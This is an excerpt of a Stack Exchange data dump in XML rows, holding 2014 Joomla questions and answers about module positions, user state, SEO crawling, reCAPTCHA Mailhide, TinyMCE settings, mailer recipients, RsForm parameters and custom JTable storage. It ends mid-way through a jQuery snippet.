  <row Id="4902" PostTypeId="2" ParentId="4900" CreationDate="2014-10-21T15:27:15.890" Score="1" Body="&lt;p&gt;I suggest building a simple plugin, and use something like this to publish the module to several positions (using a loop):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$document   = &amp;amp;JFactory::getDocument();&#xA;$renderer   = $document-&amp;gt;loadRenderer('modules');&#xA;$options    = array('style' =&amp;gt; 'xhtml');&#xA;for ($x=0; $x&amp;lt;=5; $x++) {&#xA;     $position   = 'myPosition' . $x;&#xA;     echo $renderer-&amp;gt;render($position, $options, null);&#xA;}&#xA;// Repeat for each module position, changing only $position&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Not tested)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll see if I can put together something more complete later today.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-10-21T15:27:15.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4903" PostTypeId="2" ParentId="4801" CreationDate="2014-10-21T16:05:56.670" Score="6" Body="&lt;p&gt;Your code is correct - I have tested it on a custom module myself, in Joomla 3.  Please make sure you have cookies enabled.  Try this in your module, and you will see that it works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;$app-&amp;gt;setUserState('com_mycomponent.view.filter.variable' ,'new state');&#xA;$variable = $app-&amp;gt;getUserState('com_mycomponent.view.filter.variable' ,'default');&#xA;echo $variable;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It should output '&lt;strong&gt;new state&lt;/strong&gt;' (it does in my test environment). If it does not, it may be that cookies are disabled, session variables disabled on your server, or something else wrong with your installation...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it does output 'new state', then check to make sure you are setting the state before attempting to get it. See here for more information: &lt;a href=&quot;http://docs.joomla.org/How_to_use_user_state_variables&quot;&gt;http://docs.joomla.org/How_to_use_user_state_variables&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2069" LastActivityDate="2014-10-21T16:05:56.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4904" PostTypeId="1" AcceptedAnswerId="4910" CreationDate="2014-10-21T16:52:22.190" Score="5" ViewCount="660" Body="&lt;p&gt;I am not sure why Google crawled this page:&#xA;&lt;a href=&quot;http://www.sonrisaseventos.com/component/content/featured.html?id=featured&quot; rel=&quot;noreferrer&quot;&gt;http://www.sonrisaseventos.com/component/content/featured.html?id=featured&lt;/a&gt;&#xA;. Featured should be the front page/home of &lt;a href=&quot;http://www.sonrisaseventos.com/&quot; rel=&quot;noreferrer&quot;&gt;http://www.sonrisaseventos.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this the correct behavior? Should I add /component/content/featured.html to robots.txt? I don't want to Google mark this as duplicate content that's my concern.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla 3.3.6&lt;/p&gt;&#xA;" OwnerUserId="1881" LastActivityDate="2017-03-15T16:05:21.870" Title="Why did Google crawl this page?" Tags="|joomla-3.3.x|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4905" PostTypeId="2" ParentId="4791" CreationDate="2014-10-21T16:58:33.737" Score="3" Body="&lt;p&gt;Finally able to upgrade site from Joomla 2.5.15 to Joomla 3.3.6&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the upgrade work like below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Started with Joomla 2.5.15 -&amp;gt; J 2.5.17 -&amp;gt; J 2.5.27 -&amp;gt; J 3.0.0 -&amp;gt; J 3.0.1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The Detailed Challenge and Solution can be found on &lt;a href=&quot;http://www.walkswithme.net/upgrade-joomla-2-5-x-joomla-3-3-x&quot; rel=&quot;nofollow&quot;&gt;Joomla Upgrade 2.5.x to Joomla 3.x&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks to lodder for giving the hint of Sql file! that drive me to manual upgrade.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it help someone else ..&lt;/p&gt;&#xA;" OwnerUserId="138" LastActivityDate="2014-10-21T16:58:33.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4907" PostTypeId="1" AcceptedAnswerId="4911" CreationDate="2014-10-21T17:37:15.060" Score="2" ViewCount="432" Body="&lt;p&gt;Is there a way to hide an email address included in an article with Captcha? I want something like a link saying &quot;Show Email Address&quot; and make the user solve a Captcha and if solved correctly show the email. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example in Google Projects you can see the people involved and when you click on an email address you need to solve a Captcha before displaying it:&#xA;&lt;a href=&quot;https://code.google.com/u/112265612467218200107/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://code.google.com/u/112265612467218200107/&lt;/a&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/9Aht3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1881" LastEditorUserId="1881" LastEditDate="2014-10-21T17:46:26.927" LastActivityDate="2014-10-21T21:12:31.367" Title="How to hide an email addres with Captcha in Joomla 3.3.x?" Tags="|joomla-3.3.x|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4908" PostTypeId="2" ParentId="4900" CreationDate="2014-10-21T17:56:15.823" Score="1" Body="&lt;p&gt;At a simple level you can try this: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is going to be a single module and you have already defined where you want to display it, you could create a special module position in your template and make 2 or as many as needed calls for it, at the locations you want in the template. It will load the modules of that position wherever you call it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there are more modules and for more positions you want to apply this, the above approach may still be fine, unless if you need more control or complex appearances of the modules, something that might require &quot;smarter&quot; creation of module positions and calls for the modules.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2014-10-21T17:56:15.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4909" PostTypeId="2" ParentId="4907" CreationDate="2014-10-21T18:02:04.090" Score="0" Body="&lt;p&gt;I have a simple suggestion, which applies mainly in the case you want to do this for a single article and a single email address. It won't handle any email address appearances in articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can create a simple form, containing a captcha and submit button (e.g. rsforms). Setup the thank you message to display the email address, and then in your article create a modal link for the form. When clicked it will popup the form with the captcha, which after successful submission will reveal the email.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2014-10-21T18:02:04.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4910" PostTypeId="2" ParentId="4904" CreationDate="2014-10-21T18:12:19.520" Score="5" Body="&lt;p&gt;Google will use URL parameters to crawl anything it can and you allow to find in a website. So this is an expected behavior for sites that have dynamically created pages. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;These days Google is very smart and can identify the correct url for a page and will present this to any potential searcher. It really manages this pretty well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general if you are concerned about any &lt;strong&gt;duplicate content penalty&lt;/strong&gt; for a case like this, you shouldn't. In a brief, Duplicate content penalty arrives when a website is copying content from others. This is what Google considers as duplicate content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only negative effect you might have, is a possible lose of page-rank for the page in question, because of the content existing in more than 1 pages. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course you can instruct Google to not index this page. Either by using &lt;strong&gt;Canonical URLs&lt;/strong&gt; (should be your first option), either by &lt;strong&gt;Blocking&lt;/strong&gt; it in the &lt;strong&gt;Robots.txt&lt;/strong&gt;, or by tweaking the &lt;strong&gt;URLs parameters&lt;/strong&gt; of Google crawler in &lt;strong&gt;Google Webmasters Tools&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Read also this answer, that explains the nature of dynamic pages: &lt;strong&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/4164/how-to-deal-with-duplicated-content-urls-in-joomla/5541#5541&quot;&gt;How to deal with Duplicated Content / URLs in Joomla?&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2016-08-09T11:31:41.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4911" PostTypeId="2" ParentId="4907" CreationDate="2014-10-21T21:12:31.367" Score="4" Body="&lt;p&gt;They're using Google &lt;a href=&quot;https://www.google.com/recaptcha/admin#mailhide&quot; rel=&quot;nofollow&quot;&gt;reCAPTCHA Mailhide&lt;/a&gt;. If you want to use it once, you can simply get the HTML code from their generator. Just input your email address (e.g. info@example.com), and you'll get a code like this to paste wherever you want:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;http://www.google.com/recaptcha/mailhide/d?k=01kg8W1efAQFDkyYznE3EjIA==&amp;amp;amp;c=VfE7N2ER5ulELye31Q05M7izax7SCQfEOEhIvght0TQ=&quot;&#xA;onclick=&quot;window.open('http://www.google.com/recaptcha/mailhide/d?k\07501kg8W1efAQFDkyYznE3EjIA\75\75\46c\75VfE7N2ER5ulELye31Q05M7izax7SCQfEOEhIvght0TQ\075',&#xA;'', 'toolbar=0,scrollbars=0,location=0,statusbar=0,menubar=0,resizable=0,&#xA;width=500,height=300'); return false;&quot; title=&quot;Reveal this e-mail address&quot;&amp;gt;&#xA;i...&amp;lt;/a&amp;gt;@example.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you need the replace all emails, you have to create a plugin, using the &lt;a href=&quot;https://developers.google.com/recaptcha/docs/mailhideapi&quot; rel=&quot;nofollow&quot;&gt;Google API&lt;/a&gt; available for reCAPTCHA. The existing plugin &quot;plg_emailcloak&quot; (&lt;code&gt;plugins\content\emailcloak&lt;/code&gt;) is a good start, just create a new plugin based on this.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-10-21T21:12:31.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4913" PostTypeId="1" AcceptedAnswerId="4915" CreationDate="2014-10-22T06:46:08.093" Score="1" ViewCount="106" Body="&lt;p&gt;Please visit this link : &lt;a href=&quot;http://naadiastrology.info/index.php/contact-us&quot; rel=&quot;nofollow&quot;&gt;http://naadiastrology.info/index.php/contact-us&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the menu bar, you can see &quot;Contact us&quot; menu.[Components &gt; Contacts&gt; Contacts &gt; Contact-us in admin ] &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you click on that, you can see:   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;1Contact&quot;, &quot;2contact form&quot;, &quot;3Links&quot; &amp;amp; &quot;4other information&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please click on &quot;other information&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wanted to display &quot;1contact&quot; as like &quot;4other information page content&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But In admin, in right side, Under &quot;contact details&quot;, there is no option to use &quot;html tags&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But we can use html tags under &quot;other information&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to use &quot;html tags&quot; under &quot;contact details&quot; in right side?&lt;/p&gt;&#xA;" OwnerUserId="1993" LastEditorUserId="126" LastEditDate="2016-01-22T00:28:48.003" LastActivityDate="2016-01-22T00:28:48.003" Title="How to write html tags under &quot;contact details&quot; in components &gt; contact &gt; contact us" Tags="|administrator|form|contact|contact-form|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4914" PostTypeId="1" AcceptedAnswerId="4916" CreationDate="2014-10-22T07:23:56.463" Score="6" ViewCount="360" Body="&lt;p&gt;I'm saving rich texts from my custom component. It uses wysiwyg editor. Therefore there are html codes also. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;table&amp;gt;&#xA;&amp;lt;tbody&amp;gt;&#xA;&amp;lt;!-- More here --&amp;gt;&#xA;&amp;lt;tr&amp;gt;&#xA;&amp;lt;td colspan=&quot;5&quot;&amp;gt; &amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;!-- More here --&amp;gt;    &#xA;&amp;lt;/tbody&amp;gt;&#xA;&amp;lt;/table&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After saving and viewing them again I can see 'replacement character-U+FFFD' in empty td tag. I tried to add nbsp html entity. But it is replaced with empty character. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to save this td tag empty. Is there any way around to do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks. &lt;/p&gt;&#xA;" OwnerUserId="1773" LastActivityDate="2014-10-22T08:51:57.263" Title="Empty tag is replaced with unicode replacement character" Tags="|component|joomla-2.5|tinymce|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4915" PostTypeId="2" ParentId="4913" CreationDate="2014-10-22T07:31:41.180" Score="2" Body="&lt;p&gt;This is not the direct answer to your question, it is more for information and to give you some basic direction.&#xA;It seems that you do not have full understanding of how things work, and why you can't add html in the fields there. &#xA;The fields you are trying to add html, are not designed to accept html. Furthermore, even if they would allow some html, I am not sure how you could create a similar table structure like you did in the WYSIWYG editor for the misc information section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you still have plenty of options to customize the way your contact page will look.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could either use a 3rd party Form Component (&lt;a href=&quot;http://extensions.joomla.org/extensions/contacts-and-feedback/forms&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Joomla Form Extensions&lt;/strong&gt;&lt;/a&gt;) and build a custom form the way you want, or you could override the com_contact.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This search will bring you many relevant questions regarding overrides: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/search?q=template+overrides&quot;&gt;https://joomla.stackexchange.com/search?q=template+overrides&lt;/a&gt; &#xA;Also the links here at Joomla Documentation:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;How to override the output from the Joomla! core&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://docs.joomla.org/Understanding_Output_Overrides&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Understanding Output Overrides&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://docs.joomla.org/Layout_Overrides_in_Joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Layout Overrides in Joomla&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Finally, you if you need to override the model form for the com_contact, to change the behavior of the current fields..., then this question/answer here might be of help of how to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/4426/how-can-i-completely-and-safely-remove-the-subject-field-in-com-contact/4427#4427&quot;&gt;How can I completely and safely remove the subject field in com_contact?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2014-10-22T09:26:53.033" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4916" PostTypeId="2" ParentId="4914" CreationDate="2014-10-22T08:14:05.843" Score="4" Body="&lt;p&gt;In your admin side, go to &quot;Extensions&quot; -&gt; &quot;Plug-in Manager&quot;. Then click on &quot;Editor - TinyMCE&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now enter the &lt;code&gt;td[*]&lt;/code&gt; for &quot;Extended Valid Elements&quot; and save it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Je8EL.png&quot; alt=&quot;Joomla TinyMCE empty tags&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1520" LastEditorUserId="1520" LastEditDate="2014-10-22T08:51:57.263" LastActivityDate="2014-10-22T08:51:57.263" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4920" PostTypeId="1" CreationDate="2014-10-22T18:09:31.800" Score="3" ViewCount="1159" Body="&lt;p&gt;I've got a form that allows users to send an article to friends. The friends are set in a &lt;code&gt;$recipient&lt;/code&gt; array. I can dump the array and it looks fine:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var_dump($recipients);&#xA;// array (size=2)&#xA;0 =&amp;gt; test@example.com&#xA;1 =&amp;gt; test2@example.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So far so good. Then the array is added to the &lt;code&gt;$mail&lt;/code&gt; object:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mail = JFactory::getMailer();&#xA;$mail-&amp;gt;addRecipient($recipients);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am using mailtrap.io to track the mailing and test where they are sent. The second email (to test2@example.com) never gets sent. The first one does. So I have to assume there's a problem with how Joomla is handling the array of recipients. This is Joomla 3.3.6&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="159" LastEditDate="2014-10-22T20:02:14.390" LastActivityDate="2014-10-26T11:03:54.993" Title="Issue with adding multiple mailer recipients" Tags="|joomla-3.3.x|jmail|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4921" PostTypeId="2" ParentId="4893" CreationDate="2014-10-23T01:29:09.643" Score="2" Body="&lt;p&gt;I had a similar situation on a page I built using J2Store, as the client wanted to present the products but wasn't ready to actually sell them yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a quick solution that also is easy to reverse once the products are ready to be sold, I added this jQuery code to my template in order to disable all &quot;Buy&quot; buttons:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    jQuery(&quot;.j2store_cart_button&quot;).prop('disabled', true);&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't think it's the best and cleanest solution, but it was enough for this particular case, and a very quick fix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case, maybe you can remove the override file, and modify the jQuery code to target only the buy buttons from the product line you want to disable.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-10-23T01:29:09.643" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4922" PostTypeId="1" CreationDate="2014-10-23T09:42:54.343" Score="2" ViewCount="1572" Body="&lt;p&gt;I've searched a lot and just found &lt;a href=&quot;http://www.joomlaxtc.com/support/joomla-guides/921-modules/893-virtuemart-product-wall&quot; rel=&quot;nofollow&quot;&gt;jxct virtuemart product wall&lt;/a&gt;, but this module is somehow old (last relaese 2012) and has bugs.&#xA;I went deep into this module and saw that its uses &lt;code&gt;$calculator-&amp;gt;getProductPrices($item -&amp;gt; id);&lt;/code&gt; and This code caused &lt;code&gt;getProductPrices no object given query time&lt;/code&gt; error. Instead of passing &lt;code&gt;$item-&amp;gt;id&lt;/code&gt;, I passed &lt;code&gt;$item&lt;/code&gt; and solved the aforementioned Error. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the problem is that the &lt;code&gt;productPrices&lt;/code&gt; array contains only &lt;strong&gt;basePrice&lt;/strong&gt;, so this module cannot show other price fields like &lt;strong&gt;finalPrice&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need help to whether solve this module problem, or write simple module to show discounted pro &lt;/p&gt;&#xA;" OwnerUserId="311" LastActivityDate="2014-11-22T11:29:51.953" Title="How to show discounted products in virtuemart?" Tags="|joomla-2.5|module|virtuemart|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4923" PostTypeId="2" ParentId="4922" CreationDate="2014-10-23T10:05:21.170" Score="2" Body="&lt;p&gt;I think VM default module is providing this features,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a default module called VM Featured Products.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you check the module manager option you will be able to sort out there is an option to select only Sale products.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope you're using VM2.x.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it helps.. &lt;/p&gt;&#xA;" OwnerUserId="138" LastActivityDate="2014-10-23T10:05:21.170" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4924" PostTypeId="1" CreationDate="2014-10-23T13:11:12.533" Score="0" ViewCount="1417" Body="&lt;p&gt;I followed &lt;a href=&quot;http://www.rsjoomla.com/support/documentation/view-article/162-how-do-i-pass-a-parameter-through-the-url-and-how-can-i-catch-it-.html&quot; rel=&quot;nofollow&quot;&gt;this guide&lt;/a&gt; on how to pass a parameter through the URL in RsForm,&#xA;and with it I tried to define default value of one box. Even though I followed that tutorial, my browser accepts the url but doesn't fill out the field.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;example.com/cs?option=com_rsform&amp;amp;formId=13form[vyberte_vami_zvoleny_pobyt]=name@example.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(BTW, the first box should get the parameter &lt;code&gt;name@example.com&lt;/code&gt;)&lt;/p&gt;&#xA;" OwnerUserId="2076" LastEditorUserId="22" LastEditDate="2014-10-26T03:20:55.753" LastActivityDate="2014-10-28T18:27:13.040" Title="How to pre-fill RsForm with URL parameters" Tags="|joomla-2.5|url|rsform|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4925" PostTypeId="2" ParentId="4924" CreationDate="2014-10-23T13:27:01.123" Score="2" Body="&lt;p&gt;Your URL is wrong, it should only contain one question mark (&lt;code&gt;?option=com_rsform&lt;/code&gt;). Subsequent URL parameters must start with &lt;code&gt;&amp;amp;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try &lt;a href=&quot;http://www.trebonlazne.cz/cs?option=com_rsform&amp;amp;formId=13&amp;amp;form[vyberte_vami_zvoleny_pobyt]=mail@domain.com&quot; rel=&quot;nofollow&quot;&gt;http://www.trebonlazne.cz/cs?option=com_rsform&amp;amp;formId=13&amp;amp;form[vyberte_vami_zvoleny_pobyt]=mail@domain.com&lt;/a&gt;, it should work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;http://www.rsjoomla.com/support/documentation/view-article/162-how-do-i-pass-a-parameter-through-the-url-and-how-can-i-catch-it-.html&quot; rel=&quot;nofollow&quot;&gt;tutorial&lt;/a&gt; you mentioned:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;IMPORTANT: If the parameter you are adding is the first one existing&#xA;  in the URL (when using SEF URLs), you need to add it using the ?&#xA;  character instead of &amp;amp;, as in the following example: &#xA;  &lt;a href=&quot;http://www.mywebsite.com/index.php/form?form[email]=mail@domain.com&quot; rel=&quot;nofollow&quot;&gt;http://www.mywebsite.com/index.php/form?form[email]=mail@domain.com&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-10-23T13:27:01.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4926" PostTypeId="1" AcceptedAnswerId="4927" CreationDate="2014-10-23T17:09:27.567" Score="5" ViewCount="979" Body="&lt;p&gt;I have a JForm, which inserts records in the database and relies on its own controller, model, view and table, derived by JTable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the database table contains one special field representing the invoice number, which needs to be incremented every new record, and reset at the end of the year, therefore its value can't be taken by the form, but it should be calculated just before saving the record.&#xA;The query itself is a little more complex of this, but to give an idea it could be hyper-simplified as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;INSERT INTO `table` (`number`, `year`, `data`)&#xA;VALUES (&#xA;    (SELECT MAX(`number`) + 1 FROM `table` WHERE `year` = YEAR(CURDATE())),&#xA;    YEAR(CURDATE()),&#xA;    'some data...'&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Now the question&lt;/strong&gt;, since JTable::store() uses JDatabaseDriver::insertObject() to save its data, and I guess that I can't ask JTable to execute custom SQL statements, &lt;strong&gt;what's the best way to achieve this?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="2075" LastActivityDate="2014-10-24T03:35:12.660" Title="JForm with custom SQL statements" Tags="|joomla-3.x|database|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4927" PostTypeId="2" ParentId="4926" CreationDate="2014-10-23T18:24:58.960" Score="2" Body="&lt;p&gt;You can override the &lt;code&gt;store()&lt;/code&gt; method in your &lt;strong&gt;table class&lt;/strong&gt;; something like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function store($updateNulls = true) { // or false but you can't nullify a value if needed&#xA;    $db = JFactory::getDbo();&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;    $query-&amp;gt;select('MAX(`number`) + 1');&#xA;    $query-&amp;gt;from('`#__table`');&#xA;    $query-&amp;gt;where('`year` = YEAR(CURDATE())');&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $db-&amp;gt;execute();&#xA;    $number = $db-&amp;gt;loadResult();&#xA;&#xA;    $date = JFactory::getDate();&#xA;    $year = $date-&amp;gt;format('Y');&#xA;&#xA;    $this-&amp;gt;number = $number;&#xA;    $this-&amp;gt;year = $year; // or get it by another db query but not recommended&#xA;    $this-&amp;gt;data = 'some data...';&#xA;&#xA;    return parent::store($updateNulls);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1520" LastEditorUserId="1520" LastEditDate="2014-10-23T20:46:02.297" LastActivityDate="2014-10-23T20:46:02.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4928" PostTypeId="1" CreationDate="2014-10-23T19:17:59.000" Score="-1" ViewCount="509" Body="&lt;p&gt;I have a problem with my joomla site. I have edited some custom jScript which reduces the navigation section in size when I scroll down the screen. I have edited so that the navigation does not reduce in size but remains static but still sticks to the top of the page. However, now all my front end images don't show. I have tried uploading the old Jscript before I edited it but the frontend images still will not show.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Original code - pre-formated:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Sticky Navigation&#xA;   jQuery(document).ready(function () {&#xA;    if (jQuery().sticky) {&#xA;        jQuery(&quot;.navigation&quot;).sticky({&#xA;    topSpacing: 0,&#xA;        });;&#xA;    }&#xA;});&#xA;&#xA;function getCurrentScroll() {&#xA;    return window.pageYOffset || document.documentElement.scrollTop;&#xA;}&#xA;&#xA;// Nicescroll&#xA;/*jQuery(document).ready(function() {&#xA;    jQuery(&quot;html&quot;).niceScroll();&#xA;});*/&#xA;&#xA;// Waypoints&#xA;jQuery(document).ready(function () {&#xA;    //if present, set slideshow height first&#xA;    if (jQuery('.home .t3-sl-1').length &amp;gt; 0) {&#xA;        jQuery('.home .t3-sl-1').css('height',34/100*(jQuery('.home .t3-sl-1').width())+2);&#xA;        jQuery( window ).resize(function() {&#xA;            jQuery('.home .t3-sl-1').css('height',34/100*(jQuery('.home .t3-sl-1').width())+2);&#xA;        });&#xA;    }&#xA;&#xA;//set waypoints&#xA;if (addon_animations_enable)&#xA;    {&#xA;    if (jQuery().waypoint) {&#xA;        jQuery('.appear').waypoint(function () {&#xA;&#xA;            var t = jQuery(this);&#xA;&#xA;            if (jQuery(window).width() &amp;lt; 767) {&#xA;                t.delay(jQuery(this).data(1));&#xA;                t.toggleClass(jQuery(this).data(&quot;animated&quot;) + &quot; animated&quot;).removeClass('appear');&#xA;            } else {&#xA;                t.delay(jQuery(this).data(&quot;start&quot;)).queue(function () {&#xA;                    t.toggleClass(jQuery(this).data(&quot;animated&quot;) + &quot; animated&quot;).removeClass('appear');&#xA;                });&#xA;            }&#xA;        }, {&#xA;            offset: '85%',&#xA;            triggerOnce: true,&#xA;        });&#xA;    }&#xA;}&#xA;});&#xA;&#xA;&#xA;//------------------------------&#xA;// Parallax scrolling effect&#xA;//------------------------------&#xA;jQuery(document).ready(function(jQuery){&#xA;    var jQueryscrollTop;&#xA;/*var jQueryheaderheight;&#xA;var jQuerycameracaptiontop;&#xA;&#xA;jQueryheaderheight = jQuery('.home .t3-sl-1').height();&#xA;jQuerycameracaptiontop = parseInt(jQuery('.camera_caption').css('top'));*/&#xA;&#xA;jQuery(window).scroll(function(){&#xA;    var jQueryiw = jQuery('body').innerWidth();&#xA;    jQueryscrollTop = jQuery(window).scrollTop();&#xA;    minheight = 110-(jQueryscrollTop/4);&#xA;&#xA;    if (minheight 